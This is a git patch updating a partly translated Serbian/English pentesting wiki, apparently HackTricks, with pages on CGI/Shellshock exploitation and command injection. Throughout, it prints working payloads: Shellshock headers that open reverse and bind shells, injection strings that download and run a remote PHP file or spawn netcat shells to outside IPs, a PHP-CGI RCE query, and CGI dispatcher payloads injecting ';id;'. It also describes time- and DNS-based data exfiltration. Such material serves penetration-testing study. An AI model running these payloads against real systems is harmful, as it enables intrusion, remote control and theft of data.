From c9b7eeeaeb677e35c99da8fd12cd7b8e7848520f Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 10:00:47 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md', --- .../pentesting-web/cgi.md | 77 ++++++++++++++----- src/pentesting-web/command-injection.md | 59 ++++++++++---- 2 files changed, 101 insertions(+), 35 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 73a5833af..740891a93 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,27 +1,30 @@ +# CGI Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Informacije -**CGI skripte su perl skripte**, tako da, ako ste kompromitovali server koji može izvršavati _**.cgi**_ skripte, možete **učitati perl reverznu ljusku** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **promeniti ekstenziju** sa **.pl** na **.cgi**, dati **dozvole za izvršavanje** \(`chmod +x`\) i **pristupiti** reverznoj ljusci **iz web pregledača** da je izvršite. -Da biste testirali za **CGI ranjivosti**, preporučuje se korišćenje `nikto -C all` \(i svih dodataka\) +## Informacije -# **ShellShock** +The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. +In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) -**ShellShock** je **ranjivost** koja utiče na široko korišćeni **Bash** komandni interfejs u Unix-baziranim operativnim sistemima. Cilja sposobnost Basha da izvršava komande koje prosleđuju aplikacije. Ranjivost leži u manipulaciji **promenljivim okruženja**, koje su dinamički imenovane vrednosti koje utiču na to kako procesi rade na računaru. Napadači mogu iskoristiti ovo tako što će prikačiti **zloćudni kod** na promenljive okruženja, koji se izvršava prilikom primanja promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem. +## **ShellShock** -Iskorišćavanjem ove ranjivosti **stranica može prikazati grešku**. +**ShellShock** je ranjivost koja pogađa široko korišćeni komandni tumač **Bash** na operativnim sistemima zasnovanim na Unixu. Cilja sposobnost Basha da izvršava komande prosleđene od strane aplikacija. Ranjivost leži u manipulaciji **environment variables**, koje su dinamičke imenovane vrednosti koje utiču na to kako se procesi izvršavaju na računaru. Napadači to mogu iskoristiti prikačeći **malicious code** na environment variables, koji se izvršava pri prihvatanju promenljive. Ovo napadačima omogućava potencijalno kompromitovanje sistema. -Možete **pronaći** ovu ranjivost primetivši da koristi **staru verziju Apachija** i **cgi_mod** \(sa cgi folderom\) ili koristeći **nikto**. +Eksploatisanjem ove ranjivosti stranica bi mogla baciti grešku. -## **Test** +Možete **pronaći** ovu ranjivost primetivši da se koristi **stara verzija Apache** i **cgi_mod** \(with cgi folder\) ili koristeći **nikto**. -Većina testova se zasniva na echo nečega i očekuje da se taj string vrati u web odgovoru. Ako mislite da bi stranica mogla biti ranjiva, pretražite sve cgi stranice i testirajte ih. +### **Test** + +Većina testova se zasniva na echo nečega i očekuje da se taj string vrati u web odgovoru. Ako mislite da stranica može biti ranjiva, pretražite sve cgi stranice i testirajte ih. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(reflektovani, slepi i van-banda\)** +## **Curl \(reflected, blind i out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## Eksploatacija +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -48,24 +51,56 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM do zahteva veb servera\)** +## Centralizovani CGI dispatcher-i (routiranje jednog endpointa preko parametara selektora) -CGI kreira promenljivu okruženja za svaki header u http zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com" +Mnogi ugrađeni web UI-i multiplexuju desetine privilegovanih akcija iza jednog CGI endpointa (na primer, `/cgi-bin/cstecgi.cgi`) i koriste parametar selektora kao što je `topicurl=` da usmere zahtev ka internoj funkciji. -Kao što se HTTP_PROXY promenljiva može koristiti od strane veb servera. Pokušajte da pošaljete **header** koji sadrži: "**Proxy: <IP_attacker>:<PORT>**" i ako server izvrši bilo koji zahtev tokom sesije. Moći ćete da uhvatite svaki zahtev koji server napravi. +Metodologija za iskorišćavanje ovih dispatcher-a: -# Stari PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +- Enumeriši imena handlera: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. +- Testiraj dostupnost bez autentifikacije: neki handleri zaborave auth provere i mogu se pozvati direktno. +- Fokusiraj se na handlere koji pozivaju system utilities ili rade sa fajlovima; slabi validatori često blokiraju samo nekoliko karaktera i mogu propustiti vodeći hyphen `-`. -U suštini, ako je cgi aktivan i php je "stari" \(<5.3.12 / < 5.4.2\) možete izvršiti kod. -Da biste iskoristili ovu ranjivost, potrebno je da pristupite nekom PHP fajlu veb servera bez slanja parametara \(posebno bez slanja karaktera "="\). -Zatim, da biste testirali ovu ranjivost, mogli biste pristupiti na primer `/index.php?-s` \(obratite pažnju na `-s`\) i **izvorni kod aplikacije će se pojaviti u odgovoru**. +Generic exploit shapes: +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded -Zatim, da biste dobili **RCE** možete poslati ovaj poseban upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba da se izvrši u **telu zahteva. -Primer:** +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` +Detekcija i ojačavanje: + +- Pazite na neautentifikovane zahteve ka centralizovanim CGI endpoint-ima sa `topicurl` postavljenim na osetljive obrađivače. +- Označite parametre koji počinju sa `-` (pokušaji injektovanja argv opcija). +- Dobavljači: zahtevajte autentifikaciju za sve obrađivače koji menjaju stanje, vršite validaciju koristeći stroge allowlists/tipove/dužine, i nikada ne prosleđujte stringove pod kontrolom korisnika kao command-line flagove. + +## Stari PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) + +U suštini, ako je cgi aktivan i php je "star" \(<5.3.12 / < 5.4.2\) možete izvršiti kod. +Da biste iskoristili ovu ranjivost morate pristupiti nekom PHP fajlu web servera bez slanja parametara \(posebno bez slanja karaktera "="\). +Zatim, da biste testirali ovu ranjivost, možete pristupiti na primer `/index.php?-s` \(obratite pažnju na `-s`\) i **izvorni kod aplikacije će se pojaviti u odgovoru**. + +Zatim, da biste dobili **RCE** možete poslati ovaj specijalni upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba da se izvrši smešten je u **telu zahteva. Primer:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Više informacija o ranjivosti i mogućim eksploatacijama:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Više informacija o vuln i mogućim exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM prema Web server zahteva\)** + +CGI kreira promenljivu okruženja za svako zaglavlje u HTTP zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com" + +Pošto HTTP_PROXY promenljiva može biti korišćena od strane web servera, pokušajte da pošaljete **zaglavlje** koje sadrži: "**Proxy: <IP_attacker>:<PORT>**". Ako server izvrši bilo koji zahtev tokom sesije, moći ćete da presretnete svaki zahtev koji server napravi. + +## **Referencije** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index b79f81409..e540e1aa7 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Šta je command Injection? -A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču sticanje neovlašćenog pristupa ili kontrole nad okruženjem aplikacije i osnovnim sistemom. +A **command injection** omogućava izvršavanje proizvoljnih naredbi operativnog sistema od strane attacker-a na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih naredbi obično omogućava attacker-u da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. ### Kontekst -U zavisnosti od **gde se vaš unos ubacuje**, možda ćete morati da **zatvorite navodnički kontekst** (koristeći `"` ili `'`) pre nego što unesete komande. +U zavisnosti od toga **gde se vaš unos ubacuje** možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre nego što unesete naredbe. ## Command Injection/Execution ```bash @@ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Ograničenja** Bypasses +### **Ograničenje** Bypasses + +Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, biće vam zanimljivo da pročitate o ovim **Bypasses:** -Ako pokušavate da izvršite **arbitrary commands inside a linux machine** možda će vas zanimati da pročitate o ovim **Bypasses:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -44,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### Parametri +### Parameters -Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Evo top 25 parametara koji mogu biti ranjivi na code injection i slične RCE vulnerabilities (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -76,7 +77,7 @@ Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i sl ``` ### Time based data exfiltration -Ekstrakcija podataka: znak po znak +Izdvajanje podataka: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -90,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Zasnovano na alatu sa `https://github.com/HoLyVieR/dnsbin`, koji je takođe hostovan na dnsbin.zhack.ca +Bazirano na alatu sa `https://github.com/HoLyVieR/dnsbin`, koji je takođe hostovan na dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Prilikom audita JavaScript/TypeScript back-endova često ćete naići na Node.js `child_process` API. +Kada pregledate JavaScript/TypeScript back-endove, često ćete naići na Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` pokreće **shell** (`/bin/sh -c`), zato će bilo koji karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) rezultirati **command injection** kada se korisnički unos konkatenira u string. +`exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string. -**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen: +**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i obezbedite **svaki argument kao poseban element niza** tako da shell nije uključen: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,16 +140,45 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 je bio iskoristiv kroz neautentifikovan WebSocket događaj koji je postavio napadački kontrolisane podatke u `id_user`, koji su kasnije ugrađeni u poziv `exec()`, dovodeći do RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). -## Lista za detekciju Brute-Force +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) + +Nisu sve injekcije zavisne od shell metacharaktera. Ako aplikacija prosleđuje nepouzdane stringove kao argumente sistemskom utility-ju (čak i uz `execve`/`execFile` i bez shell-a), mnogi programi će i dalje parsirati svaki argument koji počinje sa `-` ili `--` kao opciju. Ovo omogućava attacker-u da promeni režime, promeni putanje izlaza ili pokrene opasna ponašanja bez ulaska u shell. + +Tipična mesta gde se ovo pojavljuje: + +- Embedded web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. +- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. + +Šta probati: + +- Pružite vrednosti koje počinju sa `-`/`--` da bi ih downstream alat tretirao kao flagove. +- Abuse flags that change behavior or write files, for example: + - `ping`: `-f`/`-c 100000` da optereti uređaj (DoS) + - `curl`: `-o /tmp/x` da upiše proizvoljne putanje, `-K ` da učita attacker-controlled config + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` da postigne izvršenje posle rotacije u nesigurnim wrapper-ima +- Ako program podržava `--` end-of-options, pokušajte da zaobiđete naivne mitigacije koje dodaju `--` na pogrešno mesto. + +Generic PoC shapes against centralized CGI dispatchers: +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` +## Brute-Force lista detekcije {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## References +## Reference - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) @@ -156,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}}